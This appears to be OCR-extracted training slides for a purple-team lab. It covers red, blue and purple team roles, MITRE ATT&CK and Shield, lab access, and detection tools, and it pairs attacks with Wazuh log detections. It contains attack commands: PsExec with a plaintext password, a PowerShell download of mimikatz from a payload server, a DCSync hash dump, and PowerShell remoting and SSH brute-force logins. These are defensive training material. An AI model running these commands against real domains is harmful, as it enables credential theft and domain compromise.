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1. INTRODUCTION TO

PURPLE TEAMING




1.1 ABOUT RED TEAMING

* Red teaming is a full-scope, multi-layered attack simulation designed to
measure how well your people, networks, applications, and physical
security controls can withstand an attack from a real-life adversary.

A Red Team’s role is to emulate Threat actor and try to break into systems.

* They assess the organization’s ability to detect, respond and prevent
sophisticated targeted threats.



* They mimic Adversary Kill Chain shown below:

Stage 2 Stage 4 Stage 6
Initial Access Lateral Movement Data Exfiltration &

& with high level

Execution Defensive Evasion persistence

>
Stage 3 Stage 5

Stage 1 9 9
Extensive OSINT Persistence D|scover¥, Data

& Collection

Privilege Escalation

* Red Team uses Open Source Tools and Research to not only model but also
execute real-world tactics associated with an adversary kill chain.



* Red Teaming may be referred to as, adversary emulation
threat simulation, threat emulation,
adversary simulation, or some other phrase
that expresses a threat-based approach
to environment testing.

e Simulated threats muscle memory of
defenders and equip them with better
awareness of attacker TTPs as well as

lessons learning from simulated failure.



RED TEAM OBJECTIVES

* Training or measuring capabilities of Security Operations team.

* Measure the effectiveness of the people, working processes, and technologies used
to defend a network.

* Testing and understanding specific Threats or Threat scenarios and their
technologies.

* Achieving a specific motive: -

Stealing Data

* Compromising a Network environment
Compromise an Application

Achieving the effectiveness of a security teams.



1.2 ABOUT BLUE TEAMING

* In simple words, a security team that defends against
threats and cyber-attacks.

* They find ways to Detect, Defend, protect and
most importantly re-group defence
mechanisms to make Incident response
much stronger.

* Blue Team has to be aware of the latest malicious
TTPs to build comprehensive response strategies.



* Blue Team use a variety of tools and methodologies as countermeasures
to protect network from Cyber-Attacks.

* Blue Team exercises includes: -
e Conducting digital footprint analysis to track user activities
* Implementing SIEM solutions to log and ingest network activity

* Analysing logs and memory to pick up unusual activity on the system, and identify and
detect an attack.

Host level and Network level Monitoring

Installing and Maintaining endpoint security solutions in devices
Perform DNS audits to prevent Phishing Attacks

Digital footprint analysis

Risk intelligence data analysis



BLUE TEAM OBJECTIVES

* Incorporating Defensive Security techniques in the organization’s
infrastructure.

e Early Threat Detection and Prevention

* Preventing organization from data-loss/data-breach

* Understand and build plans against vulnerabilities and shortcomings
identified by Red Team

* Greater visibility into the network.
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1.3 ABOUT PURPLE TEAMING

* Purple Team tests the organization security team’s capabilities against
every phase of the attack lifecycle.

* It is a combination of both existing red team and blue team members
coming together.

* |t exists to ensure and maximize the effectiveness of the Red and Blue
teams
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* Their main goal is to improve the effectiveness of vulnerability detection, threat
hunting and network monitoring.

* Helps in consolidating and
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PURPLE TEAM OBJECTIVES

* Facilitating improvements in Detection and Defence.

 Establishing better tuning between Red Team and Blue Team.

* Sharpened the skills of both the teams.

* Tracking the progression of the security team’s detection and response
capabilities from the start of the engagement to the end.

* Increasing visibility into the company’s network, and ensures the
vulnerabilities are identified before they become issues. 14



2. BLUE TEAM ADVERSARY

SIMULATION LAB OVERVIEW




2.1 LAB OVERVIEW

* Apex Threat Actors having advanced capabilities like leveraging in-
memory implants, using 0-day exploits, moving laterally with custom
made Tools, utilizing host level attacks like cross-process injection for

stealthiness etc. are constantly consolidating their attack techniques
(and Tactics) against Defensive Teams.

 The main objection of the lab to perform purple teaming activities.
Essentially purple teaming is the execution of Tactics, Techniques and
Procedures (TTP) of a threat actor on monitored systems with the
objective of identifying and bridging gaps in detection capabilities.
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* In this Lab, you will proactively work as a Purple team member, whereas
a red teamer you will perform different attacks and as a Blue Teamer,
you will Identify, Detect, Analyze then Respond those attacks in a
realistic enterprise environment.

* The main aim of this Lab is to help the Blue Teamers to Identify and
Detect latest Techniques and Tools used by Adversary. Analyze and
Respond ongoing attacks and collect the evidence for investigation
purpose. However, Red teamers will understand execution of Red Team
Operations in stealth mode without detection and aware about visibility

against Blue Team.



* High-Level Highlights of the Lab:

Purple team Exercises ( Red Team Vs Blue Team).

e Attack & Defend in simulated Enterprise environment.

* Understand and simulate MITRE ATT&CK Framework Techniques For Red Teamer.
* Learn and Analyze in shield MITRE Active Defenses FrameWork.

* Perform Automated as well as Manual cyber attacks.

* |dentify, Detect, Monitor and Respond against real-time cyber attacks.

e Simulate and Detect TTPs used by APT groups.

* Dedicated Command & Control Server (C2C server) for Red Team Operations.



Learning From Blue Team Perspective:

Detect & Analyze various Host based attacks by endpoint monitoring solutions.
Detect & Analyze various Network based attacks by network device monitoring solutions.
Hunt for Cyber Threats in a realistic enterprise environment.

Collecting evidence and investigating cyber attacks using DFIR solutions.
Packet Analysis to understand Protocol level attacks.

Detect Advance Kerberos based Attacks using Microsoft security solution.
Real-Time Container security Monitoring.

Hands-on on different SIEM solutions.

Perform Real-Time Operating system level Vulnerability Assessment.

Map every attack to MITRE ATT&CK Framework.

Real-Time Network Traffic Visualization.

Understand about different logs generated by Windows and Linux systems.



* Learning From Red Team Perspective:

Simulate Attacker TTPs in realistic environment.

* Understand about logs, events and alerts generated by different Offensive Tools.

* |dentify latest Techniques to bypass different security solutions.

* Enhance stealth Red Team skills by analyzing Blue Team activities.

* Generate real-time alerts using Automated Red Team Framework (no red team skills
required).

* Generate real-time alerts by performing Red Team Operations manually (red team skills

required).

* Bypassing detection of Kerberos Based attacks.



2.2 LAB ARCHITECTURE
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2.3 LAB ACCESS

i%ﬁ; CYBERWARFARE RED TEAM BLUE TEAM
LAB ACCESS

UserName : analystX

UserName : adversaryX

Credential : xxxx

Credential : xxxx
Attacker Machine IP : 192.168.250.X

SOC System IP Range : 172.16.1.11 - 15

Payload-Server IP : 192.168.250.100

RED TEAM BLUE TEAM
<-'>
| i

Domain : cyberwarfare.corp

UserName : empX

OAT['aIB}IeMIoqAOD)

Credentials : xxxx

Enterprise IP Range : 10.10.10.2 -6 22
@cyberwarfare.live @cyberwarfare.live



» Students will be using VPN to access the simulated infrastructure, the VPN range is:
* 192.168.150.x/24 where x is your VPN number.

* The attack machines where you will perform offensive operations is in the range:
e Automated Red Teaming
* Caldera Dedicated C2 Server: http://192.168.250.1X:8888/
* Credentials to access C2 Server:
e Username: AdversaryX

e Password: xxXxxx

* Shared Payload Server: http://192.168.250.100
* Manual Red Teaming

* Enterprise Infrastructure range for attack simulation is:
* 10.10.10.0/24 (directly reachable to you)
* Initial Access Windows Machine (PS Remoting/PSEXEC): 10.10.10.5
* Initial Access Linux Machine (SSH): 10.10.10.6

* Credential to access Initial Access Windows/Linux Machine:
* Username: cyberwarfare\empX
* Password: XXxXxx


http://192.168.250.1x:8888/
http://192.168.250.100/

e Defensive Tools for Blue teaming are in the range: -

Network Based Attack Monitoring [SPLUNK] http://172.16.1.12:8000
Host Based Attack Monitoring [ELK] https://172.16.1.13/app/wazuh
Digital Forensics & Incident Response [DFIR] http://172.16.1.14:8000
Network Traffic Analysis http://172.16.1.15:8005
ATA-CENTER https://172.16.1.11

Credential to Access all solutions in Blue Team Environment: -

Username: analystX
Password: XxXxxx
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http://172.16.1.12:8000/
https://172.16.1.13/app/wazuh
http://172.16.1.14:8000/
http://172.16.1.15:8005/
https://172.16.1.11/

2.4 ABOUT ENTERPRISE SIMULATED ENVIRONMENT

Simulated Enterprise environment allows Red Teamers to perform the
following: -

* Red Team attack simulation in misconfigured Active Directory Environment
* Bypassing Host & Network based Security Controls

* Exploiting combination of Linux & Windows machines

 MSSQL Server exploitation

* Web based and Network based vulnerabilities and misconfigurations

e User Simulation

e Multiple Lateral Movement and Pivoting Scenarios

* Horizontal and vertical Privilege Escalation

» Kerberos based attacks and exploitation
25



2.5 ADVERSARY SIMULATION

1 About Adversary Simulation

It is a type of red team engagement that mimics a known threat to an organization by blending in threat
intelligence to define what actions and behaviours the red team uses.

Adversary emulators construct a scenario to test certain aspects of an adversary’s tactics, techniques,
and procedures (TTPs).

The red team then follows the scenario while operating on a target network in order to test how
defences might fare against the emulated adversary.

Simulating different threat actor group TTPs by following MITRE ATT&CK Framework.
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2 About MITRE ATT&CK Framework

« MITRE ATT&CK framework is a comprehensive matrix of tactics and techniques used by threat hunters, red
teamers, and defenders to better classify attacks and assess an organization's risk.

Maintain

Recon

Weaponize Execute

PRE-ATT&CK

Priority Definition
Planning, Direction Execution
Target Selection Persistence

' ATT&CK for Enterprise

Initial Access

Information Gathering

Privilege Escalation
Technical, People, Organizational

Defense Evasion

. Weakness Identification
Technical, People, Organizational
Adversary OpSec
Establish & Maintain Infrastructure
Persona Development
Build Capabilities
Test Capabilities
Stage Capabilities

Credential Access
Discovery

Lateral Movement
Collection

Exfiltration

Command and Control
Impact

* The aim of the framework is to improve post-compromise detection of adversaries in enterprises by
illustrating the actions an attacker may have taken.
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3 About Tactics, Techniques and Procedures (TTPs)

A) Tactics:

Tactics refer to high-level description of behaviour, threat actor are trying to accomplish. There are overall 11
tactics in MITRE ATT&CK Framework.

B) Techniques:

The rows in the MITRE ATT&CK matrix are the techniques leveraged to perform the action for a specific tactic. In
general, a technique represents how the threat actor achieves a tactical objective.

C) Procedures:

The procedure is a particular instance of use and can be very useful for understanding exactly how the
technique is used and for replication of an incident with adversary emulation and for specifics on how to detect
that instance in use.



TA0001

TA0002

TA0003

TA0004

TA0005

TA0006

TA0007

TAO008

TA0009

TA0011

TA0010

TA0040

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

The adversary is trying to get into your network.

The adversary is trying to run malicious code.

The adversary is trying to maintain their foothold.

The adversary is trying to gain higher-level
permissions.

The adversary is trying to avoid being detected.
The adversary is trying to steal account names and

passwords.

The adversary is trying to figure out your
environment.

The adversary is trying to move through your
environment.

The adversary is trying to gather data of interest to
their goal.

The adversary is trying to communicate with
compromised systems to control them.

The adversary is trying to steal data.

The adversary is trying to manipulate, interrupt, or
destroy your systems and data.


https://attack.mitre.org/tactics/TA0001
https://attack.mitre.org/tactics/TA0001
https://attack.mitre.org/tactics/TA0002
https://attack.mitre.org/tactics/TA0002
https://attack.mitre.org/tactics/TA0003
https://attack.mitre.org/tactics/TA0003
https://attack.mitre.org/tactics/TA0004
https://attack.mitre.org/tactics/TA0004
https://attack.mitre.org/tactics/TA0005
https://attack.mitre.org/tactics/TA0005
https://attack.mitre.org/tactics/TA0006
https://attack.mitre.org/tactics/TA0006
https://attack.mitre.org/tactics/TA0007
https://attack.mitre.org/tactics/TA0007
https://attack.mitre.org/tactics/TA0008
https://attack.mitre.org/tactics/TA0008
https://attack.mitre.org/tactics/TA0009
https://attack.mitre.org/tactics/TA0009
https://attack.mitre.org/tactics/TA0011
https://attack.mitre.org/tactics/TA0011
https://attack.mitre.org/tactics/TA0010
https://attack.mitre.org/tactics/TA0010
https://attack.mitre.org/tactics/TA0040
https://attack.mitre.org/tactics/TA0040

4. Ways to perform Adversary Simulation

A) Automated Attack Simulation:

Perform attacks and simulate threat actors TTP’s using MITRE Caldera Automated Red Team Toolkit.

B) Manual Attack Simulation:

Perform attacks and simulate threat actors TTP with or without Command & Control Server. It is similar
to perform manual Red Team Operations against an Enterprise Environment.



2.6 ADVERSARY DETECTION

1 About Adversary Detection

* |dentify sophisticated Threat Actors operating within the enterprise environment.

* A proactive approach to detection uses both Indication of Attacks (I0OAs) and indication of Compromise

(I0Cs) to discover security incidents or threats in as close to real time as possible

* Monitor, Detect and Identify adversary attacks and respond to prevent such attacks in real-time manner.
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2.6 ADVERSARY DETECTION

2 About MITRE ‘Shield’ Active Defences Framework

* MITRE Shield is a publicly available, free knowledge base of common techniques and tactics that can help experts
take proactive steps to defend their networks and assets

|t identifies the opportunities for learning that defenders have from actively taking on and engaging with intruders
on the network.

* For example by creating a decoy account, an organization could entice an adversary to take some action that
would reveal information about their tactics and tools.

* For example a target system with decoy credentials - such as fake usernames, passwords, and browser tokens -
defenders can get alerts when an adversary accesses a particular resource or uses a specific technique

 MITRE has mapped the post-compromise adversary behavior contained in its ATT&CK framework to the relevant
defensive techniques in Shield.
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DTAO002

DTAOO003

DTAO0004

DTAOO00S5

DTAO006

DTAOQOQ7Y

DTAO008

3 Active Defence Tactics :

T e T o

DTAO0001

Channel

Collect

Contain

Detect

Disrupt

Facilitate

Legitimize

Test

Guide an adversary down a specific path or in a specific direction.

Gather adversary tools, observe tactics, and collect other raw intelligence
about the adversary's activity.

Prevent an adversary from moving outside specific bounds or constraints.

Establish or maintain awareness into what an adversary is doing.

Prevent an adversary from conducting part or all of their mission.

Enable an adversary to conduct part or all of their mission.

Add authenticity to deceptive components to convince an adversary that
something is real.

Determine the interests, capabilities, or behaviors of an adversary.
33


https://shield.mitre.org/tactics/DTA0001
https://shield.mitre.org/tactics/DTA0002
https://shield.mitre.org/tactics/DTA0003
https://shield.mitre.org/tactics/DTA0004
https://shield.mitre.org/tactics/DTA0005
https://shield.mitre.org/tactics/DTA0006
https://shield.mitre.org/tactics/DTA0007
https://shield.mitre.org/tactics/DTA0008

4 Security solutions to Monitor, Detect, Identify & Respond Cyber-Attack

E.

Splunk & Suricata (NIDS)

ELK & Wazuh (HIDS)

Advance Threat Analytics (ATA)
Network Traffic Analyst

Google Rapid Response (GRR)

Network Based Attack Monitor

Host / Endpoint Based Attack Monitor
AD & Kerberos Based Attack Detection
Malicious Network Protocol Analysis

Digital Forensic & Incident Response



2.7 ABOUT RED vs BLUE JOINT OPERATIONS

#4» RED vs BLUE TEAM

AAT[ 2IBJIEMIADD

c. Analysing & Discovering
Malicious Network Traffic
(IP Address of Payload Server)

. /yoer@‘-‘b' a. Detecting AD & Kerberos
~ 9ty & & based Attacks (DCSYNC)

e. Collecting evidence

/ d. Detecting & Analysing from compromised machine
/ Network based (mimikatz binary)
/ Attacks (PS Remoting
{ Source IP) 3. Perform DCSYNC ATTACK
\ - on Domain Controller
I [ 4 - N
T i > N
|\ 5
@
= . . =
IDS/Firewall Employee-Machine Domain Controller £
5
o
1. PS Remoting on 2. Download Mimikatz e
Employee-Machine from Payload Server ®©
A—
@cyberwarfare.live 35
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3. RED TEAM OPERATIONS IN

SIMULATION LAB




3.1 RED TEAM OPERATIONS IN SIMULATED LAB

1. Automated Adversary Simulation

e Introduction to Caldera

It is a adversary emulation framework designed to easily run autonomous breach & simulation
exercises.

It is built on the MITRE ATT&CK™ framework

Actively attacks target systems by deploying custom backdoors (follows client, server model)

CALDERA works by attaching abilities to an adversary and running the adversary in an operation.

37


https://attack.mitre.org/

1)

2)
3)

4)

5)

CALDERA ARCHITECTURE :

Server and Agent written in
Python 3

RAT written in C#
MongoDB

Web interface is a
JavaScript based web app

pyDatalog logic backend

Database

Attacker World
Model State

Planner

Execution Engine

38
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2 Manual Attack Simulation Code Snippet -

a. Perform “PsExec” against target window machine with valid credential for initial access -

PsExec64.exe \\10.10.10.5 -u cyberwarfare\priv -p Dcsync@086 -h cmd.exe

b. Download “Mimikatz” binary from payload server on compromised machine -

powershell.exe Invoke-WebRequest http://192.168.250.100/mimikatz.exe -OutFile C:\Users\Public\mimikatz.exe

c. Run “DCSync” Attack against domain controller using downloaded mimikatz -

C:\Users\Public\mimikatz.exe “Isadump::dcsync /domain:cyberwarfare.corp /all /csv” 40




4. BLUE TEAMING IN SIMULATION

ENVIRONMENT




QAT aTBIIEMIqAOD

BLUE TEAMING

AD & Kerberos based Host based attack Discover Malicious Network based attack Digital Forensics
Attack Detection Monitoring & Network Traffic Monitoring & &
(ATA) Detection (PCAP analysis) Detection Incident Response

7] iy

A

- D. Detect & Analyse o
i C. Analyse malicious
. B. Detecting PowerShell v PSEXEC Attack Using NIDS 2
A. Detecting DCSync Attack on Execution activity on Payload Server E. Collecting evidence ~ ®
Domain Controller using ATA Employee-Machine IP Address from compromised =§
machine g
2
&
®
o
| 4

@ p
R

Employee-Machine IDS/Firewall Domain Controller
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e Active Directory & Kerberos Based Attack Detection using ATA :

* Microsoft Advanced Threat Analytics (ATA) is an on-premise platform that helps to protect against

multiple target cyber-attacks or insider threats.

* ATA collects information from various data-sources, logs and events in the network environment, some
of the devices are: -

e SIEM solutions
* Windows Event Forwarding

* Lightweight Gateway (Deployment in Domain Controller)

* Has the capability to detect various attacks like, PTT, PTH, O-PTH, Golden Ticket, Remote command

Execution, Brute Force etc.



* Host Based Attack Detection using HIDS :

A host-based intrusion detection system (HIDS) is an intrusion detection system that is capable of
monitoring and analyzing the internals of a computing system.

Monitoring and Detecting active threats from endpoints present in enterprise environment.

Collecting log from endpoint devices using Host (HIDS) agent.

Various host level attacks like privilege escalation, malicious queries etc can be detected by HIDS.

Type of logs collected from different platform :
* Windows Platform - System logs, Security logs, Sysmon logs, Powershell logs etc.
o PowerShell transcripts log files location : “C:\” - ( Access this log file using GRR utility)
* Linux Platform - Auditd logs, Authentication logs, Cron Job logs, syslog etc.



* Analysing Network Traffic

* Continuous monitoring and detecting network traffic, network connections from
suspicious IP addresses.

* It is a process of intercepting, recording and analysing network traffic
communication patterns in order to detect and respond to security threats.

e Action by network analysis :
* Broader visibility to the Network
* Encrypted Traffic Analysis
* Protocol level analysis
* Malicious c2 server traffic analysis



* Network Based Attack Detection using NIDS :

* A network-based intrusion detection system (NIDS) detects malicious traffic
on a network.

» Detecting Attacks in all layers of TCP/IP model to prevent and mitigate
against active threats and block malicious traffic on network level.

* In network-based attack monitoring, it collects log from different networking
devices :

* IDS/IPS
* Firewall
* Router
e Switch



* Digital Forensics and Incident Response using GRR & OSQUERY :

* Google Rapid Response (GRR) is an open-source live forensics tool created by Google for incident
response.

* GRR's objective is to assist in live forensics and investigation to allow for remote analysis permitting
investigators to collect data about running systems on a network, anywhere from one system to
thousands.

* Osquery exposes an operating system as a high-performance relational database. This allows you to
write SQL queries to explore operating system data.

* With osquery, SQL tables represent abstract concepts such as running processes, loaded kernel
modules, open network connections, browser plugins, hardware events or file hashes.

 Download PowerShell Transcripts log files from windows machine using GRR.



5. Purple Teaming Exercise
(APT Attack Simulation and Detection)



5.1 Purple Teaming Exercise

(APT Attack Simulation & Detection)

TACTICS

INITIAL | EXECUTION | PESISTENCE PRIVILEGE DEFENSE CREDENTIAL | DISCOVERY LATERAL COLLECTION COMMAND & EXFILTRATION
ACCESS ESCALATION EVASION ACCESS MOVEMENT CONTROL

WINDOWS T1133 T1059 T1547 T1543 T1222 T1003 T1482 T1550 T1005 T1071 T1048
ST: 001 ST: 001 ST:003 ST: 001 ST:001 ST: 002 ST: 001 ST:003
LINUX T1133 T1059 T1136 T1548 T1222 T1003 T1046 T1021 T1005 T1071 T1041
ST: 004 ST: 001 ST:003 ST:002 ST:008 ST: 004 ST: 001
PLATFORM

T -> Technique
ST -> Sub-Technique
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TTP’s executed/covered in WINDOWS platform

TACTICS Technique ID Technique Name Sub-Technique Name

Initial Access

Execution
Persistence

Privilege Escalation

Defence Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

T1133

T1059 / ST: 001
T1547 / ST: 001
T1543 / ST:003

T1222 / ST: 001

T1003 / ST:001

T1482
T1550 / ST: 002

T1005
T1071 / ST: 001

T1020

External Remote Services

Command and Scripting Interpreter

Boot or Logon Autostart Execution

Create or Modify System Process

File & Directory Permissions
Modification

OS Credential Dumping

Domain Trust Discovery

Use Alternate Authentication
Material

Data from Local System

Application Layer Protocol

Automated Exfiltration

PowerShell

Registry Run Keys / Startup Folder

Windows Service

Windows File & Directory
Permissions Modification

LSASS Memory

N/A
Pass the Hash

N/A
Caldera Web Protocol
N/A
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TTP’s executed/covered in LINUX platform

TACTICS Technique ID Technique Name Sub-Technique Name

Initial Access T1133 External Remote Services
Execution T1059 / ST: 004 Command and Scripting Interpreter Unix Shell
Persistence T1136 / ST: 001 Create Account Local Account
Privilege Escalation T1548 / ST:003 Abuse Elevation Control Mechanism Sudo and Sudo Caching
Defence Evasion T1222 / ST:002 File & Directory Permissions Linux and Mac File and Directory
Modification Permissions Modification
Credential Access T1003 / ST:008 OS Credential Dumping /etc/passwd and /etc/shadow
Discovery T1046 Network Service Scanning N/A
Lateral Movement T1021 / ST: 004 Remote Services SSH
Collection T1005 Data from Local System N/A
Command and Control T1071 / ST: 001 Application Layer Protocol Caldera Web Protocol
Exfiltration T1048 Exfiltration Over Alternative N/A
Protocol
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1. INITIAL ACCESS

1.1 Initial Access Windows [External Remote Services - T1133]
1.1.A Attack [WinRM Service (PS Remoting) Brute-Forcing]: -

* PS Remoting with Failed Login Attempt:

powershell -ep bypass

$UserName = 'cyberwarfare\empl’

$Password ‘Wrong_Password'
$securepassword = ConvertTo-SecureString $Password -AsPlainText -Force
$pscredentials = New-Object System.Management.Automation.PSCredential ($UserName, $securepassword)

$sess = New-Pssession -ComputerName 10.10.10.5 -Credential $pscredentials -Verbose

* PS Remoting with Successful Login Attempt:

powershell -ep bypass

$UserName = 'cyberwarfare\empl’

$Password 'Serious@963"’
$securepassword = ConvertTo-SecureString $Password -AsPlainText -Force
$pscredentials = New-Object System.Management.Automation.PSCredential ($UserName, $securepassword)

$sess = New-Pssession -ComputerName 10.10.10.5 -Credential $pscredentials -Verbose
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1.1.B Detection: -

Detect Remote Service Brute-Forcing using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTE0017 Decoy System/Decoy Users

* Failed Login Attempt Detection:

<« c A Not secure | 172.16.1.13/app/kibana#/discover? g=(filters:!(),refreshinterval:(pause:t,value:0),time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:!(('$state’:(store:appState)met.. ¥¢r O @ @ @ :

= ". . Discover e 4]

B v |101010.5 KQL v Last 15 minutes Show dates C Refresh

@ NOT data.win.eventdata.image: C:\\Program Files (x86)\\ossec-agent\\ossec-agent.exe X + Add filter

wazuh-alerts-3.x-* v G 17 hits

Qs T Sep 14, 2020 @ 01:15:41.060 - Sep 14, 2020 @ 01:30:41.060 — Auto v
earch field names

6
& Filter by type 0 &
Selected fields = 4
o . 3 3
Available fields o
o
2
Popular 1
t agent.id 0 - - - -
t agent.ip 01:16:00 01:17:00 01:18:00 01:19:00 01:20:00 01:24:00 01:25:00 01:2 01:27:00 01:28:00 01:29:00 01:30:00
timestamp per 30 seconds
t agent.name
Time + _source

t data.win.system.channel

. > Sep 14, 2020 @ ©81:30:31.482 { “"input”: { “type”: "log" }, “"agent”: { "ip": "10.10.10.5", “"name”: "EMPLOYEE-RW1", "id": "©©2" }, "manager"”: { “name”: "wazuhmanager” },
t data.win.system.process...

"data": { "win": { "eventdata": { "subjectLogonId": "©x8", "authenticationPackageName": "NTLM", "workstationName": "HACKER-PC", "subStatu
t data.win.system.provide... s": "OBxcB00006a", "logonProcessName": "NtLmSsp"”, "targetUserName": "emp1”, "keylLength": "8", "subjectUserSid": "S-1-8-8", "processId": "Ox

0", "failureReason": "%%2313", "targetDomainName": "cyberwarfare”, "targetUserSid": "S-1-6-8", "logonType": "3", "status": "©xc600006d" },
t input.type "system”: { "eventID": "4625", "keywords": "0x80100000080000060", "providerGuid": "{54849625-5478-4994-a5ba-3e3b8328c36d}", "level": "0",

"channel”: "Security”, "opcode”: "0", "message”: "\"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-8-8\r\n\tAccount
® -id Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\tBxB\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity
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* Successful Login Attempt Detection:

& > C A Notsecure | 172.16.1.13/app/kibana#/discover? g=(filters:!() refreshinterval:(pause:!t,value:0) time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:!(('§state's(store:appState)met.. ¥ O @ @ R @ E
= "._ . Discover e &

New Save Open Share Inspect

@) v |10.10.10.5 KQL v Last 15 minutes Show dates C Refresh

@ NOT data.win.eventdata.image: C:\\Program Files (x86)\\ossec-agent\\ossec-agent.exe X + Add filter

wazuh-alerts-3.x-* v < 6 hits
Q s h field Sep 14, 2020 @ 01:01:01.971 - Sep 14, 2020 @ 01:16:01.971 — Auto v
earcn fiela names
2
& Filter by type 0
15
Selected fields =
S
Available fields s
Popular &2
t agent.id 0
t agent.ip 00:58:00 00:59:00 01:00:00 01:01:00 01:02:00 01:03:00 01:04:00 01:05:00 01:06:00 01:07:00 01:08:00 01:08:00 01:10:00 01:11:00 01:12:00 01:13:00 01:14:00 01:15:00
timestamp per 30 seconds
t agent.name
Time + _source

t data.win.system.channel

> Sep 14, 2020 @ ©81:15:32.977 { “"input”: { "type": "log" }, “"agent”: { "ip": "10.10.108.5", "name": "EMPLOYEE-RW1", "id": "©62" }, "manager”: { "name"”: "wazuhmanager" },

t] ddsmwm systemprocess:. "data": { "win": { "eventdata": { "subjectlLogonId"”: "0x@", "targetLinkedLogonId"”: "©x@", "impersonationLevel": "%%1833", "authenticationPa

t data.win.system.provide... ckageName" : "NTLM", "workstationName": "HACKER-PC", "lmPackageName": "NTLM V2", "targetLogonId": "8xbbd817b", "logonProcessName": "NtLmSs
p", "logonGuid": "{00000BBE-6600-0000-0000-0000BBBBBBBO}", "targetUserName”: "emp1”, "keylLength": "128", "elevatedToken": "%%1842", "subje
t input.type ctUserSid": "S-1-8-8", "processId": "8x8", "targetDomainName": "CYBERWARFARE", "targetUserSid": "S-1-5-21-3233075745-3186581657-3272279772
-1118", "virtualAccount”: "%%1843", "logonType": "3" }, "system": { "eventID": "4624", "keywords": "0x80200000000000808", "providerGuid": "
® _id {54849625-5478-4994-a5ba-3e3bB8328¢c30d}", "level": "@", "channel”: "Security"”, "opcode"”: "8", "message”: "\"An account was successfully log
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1. INITIAL ACCESS

1.2 Initial Access Linux [External Remote Services - T1133]
1.2.A Attack [SSH Brute-Forcing]: -

e SSH with Failed Login Attempt:

ssh empl@CYBERWARFARE.CORP@10.10.10.6
Password: Wrong Password

* SSH with Successful Login Attempt:

ssh empl@CYBERWARFARE.CORP@10.10.10.6

Password: Serious@963
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1.2.B Detection: -

Detect Remote Service Brute-Forcing using Host based Attack Monitoring [ELK + Wazuh (HIDS)]

Active Defence — DTE0017 Decoy System

« Failed Login Attempt Detection:

< (6 A Not secure | 172.16.1.13/app/kibana#/discover?_g=(filters:!(),refreshinterval:(pause:!t,value:0), time:(from:now-15m,to:now))& a=(columns:!(_source) filters:!(('$state’;(store:appState)met.. & O @ @ 0 :
= G . Discover e o
New Save Open Share Inspect
B v |1010.10.4 KQL v Last 15 minutes Show dates G Refresh
@ NOT data.win.eventdata.image: C:\\Program Files (x86)\\ossec-agent\\ossec-agent.exe X + Add filter
wazuh-alerts-3.x-* v 3 hits
) Sep 14, 2020 @ 01:04:27.479 - Sep 14, 2020 @ 01:19:27.479 — Auto v
QU Search field names
3
& Filter by type 0 i
Selected fields = 2
Available fields § B
1
Popular 0.5
t agent.id 0
t agentip 01:05:00 01:06:00 01:07:00 01:08:00 01:09:00 01:10:00 01:11:00 01:12:00 01:13:00 01:14:00 5:00 01:16:00 01:17:00 01:18:00 01:19:00
timestamp per 30 seconds
t agent.name
Time + _source

t data.win.system.channel

. > Sep 14, 2020 @ 01:19:15.719
t data.win.system.process...

t data.win.system.provide...

{ "predecoder”: { "hostname"”:
thz § Tapt;
rcport”: "1626" }, "manager":

"10.10.10.6", "name": "EMPLOYEE-RL1", "id":
{ "name"”: "wazuhmanager” }, "rule”: { "mail":

"EMPLOYEE-RL1", "program_name": "sshd”, "timestamp”:
"0084" }, "data": { "srcip":
false,

“Sep 14 ©1:19:14" }, "input”: { “"type": "log" }, "agen
"192.168.150.4", "dstuser":
“level”: 5, “"pci_.dss”: [ “16.2.4", "10.2.5" ],  "hipaa":

"cyberwarfare\\\\emp1", "s

[ "164.312.b" ], "tsc": [ "CC6.1", "CC6.8", "CC7.2", "CC7.3" ], "description”: "sshd: authentication failed.", "groups": [ "syslog", "ssh

t input.type d", "authentication_failed” ], "nist_866_53": [ "AU.14", "AC.7" 1],

que”: [ "Brute Force" ], "id": [ "T1118" ], “tactic": [ "Credential Access” ] },

® _id

g/auth.log”

, 'id": "1600826555.42709191", "decoder”: { "parent”: "sshd”, "name":

"gdpr”: [ "IV_35.7.d", "IV_32.2" ], “firedtimes": 1, "mitre": { "techni
": "5716", "gpg13": [ "7.1" ] }, "location": "/var/lo

¥, “full_log": "Sep 14 ©1:19:14 EMPLOYEE-RL1 sshd



* Successful Login Attempt Detection:

& > C A Notsecure | 172.16.1.13/app/kibana#/discover?_g=(filters:!(),refreshinterval:(pause:!t,value:0),time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:!(('$state’(store:appState)met... ¥ @ @ @ * 0 :
= & . Discover e O

New Save Open Share Inspect

[3) v | 10.10.10.6 KQL  f v Last 15 minutes Show dates

@ NOT data.win.eventdata.image: C:\\Program Files (x86)\\ossec-agent\\ossec-agent.exe X =+ Add filter

wazuh-alerts-3.x-* v < 6 hits
T —— Sep 14, 2020 @ 01:05:26.871 - Sep 14, 2020 @ 01:20:26.871— Auto v
3
® Filter by type 0 -
Selected fields e
Available fields 5 1'?
Popular 0.5
t agent.id 0
¢| agentip 01:06:00 01:07:00 01:08:00 01:09:00 01:10:00 01:11:00 01:12:00 01:13:00 01:14:00 01:15:00 01:16:00 01:17:00 01:18:00 01:19:00 01:20:00
timestamp per 30 seconds
t agent.name e f—

t data.win.system.channel

> Sep 14, 2020 @ 81:20:15.793 { “"predecoder”: { "hostname”: "EMPLOYEE-RL1", "program_name"”: "systemd”, "timestamp”: "Sep 14 01:20:15" }, "input”: { "type”: "log" }, "ag
ent": { "ip": "10.10.10.6", "name"”: "EMPLOYEE-RL1", "id": "@84" }, "data": { "uid": "@", "dstuser"”: "empl@cyberwarfare.corp” }, "manager":
{ "name”: "wazuhmanager” }, "rule”: { "mail": false, "level": 3, "pci_dss": [ "10.2.5" ], "hipaa": [ "164.312.b" ], "tsc": [ “CC6.8", "CC

t data.win.system.process...

t data.win.system.provide...

7.2", "CC7.3" ], “description”: "PAM: Login session opened.”, “groups”: [ "pam", "syslog”, "authentication_success” ], "nist_860_53": [ "A
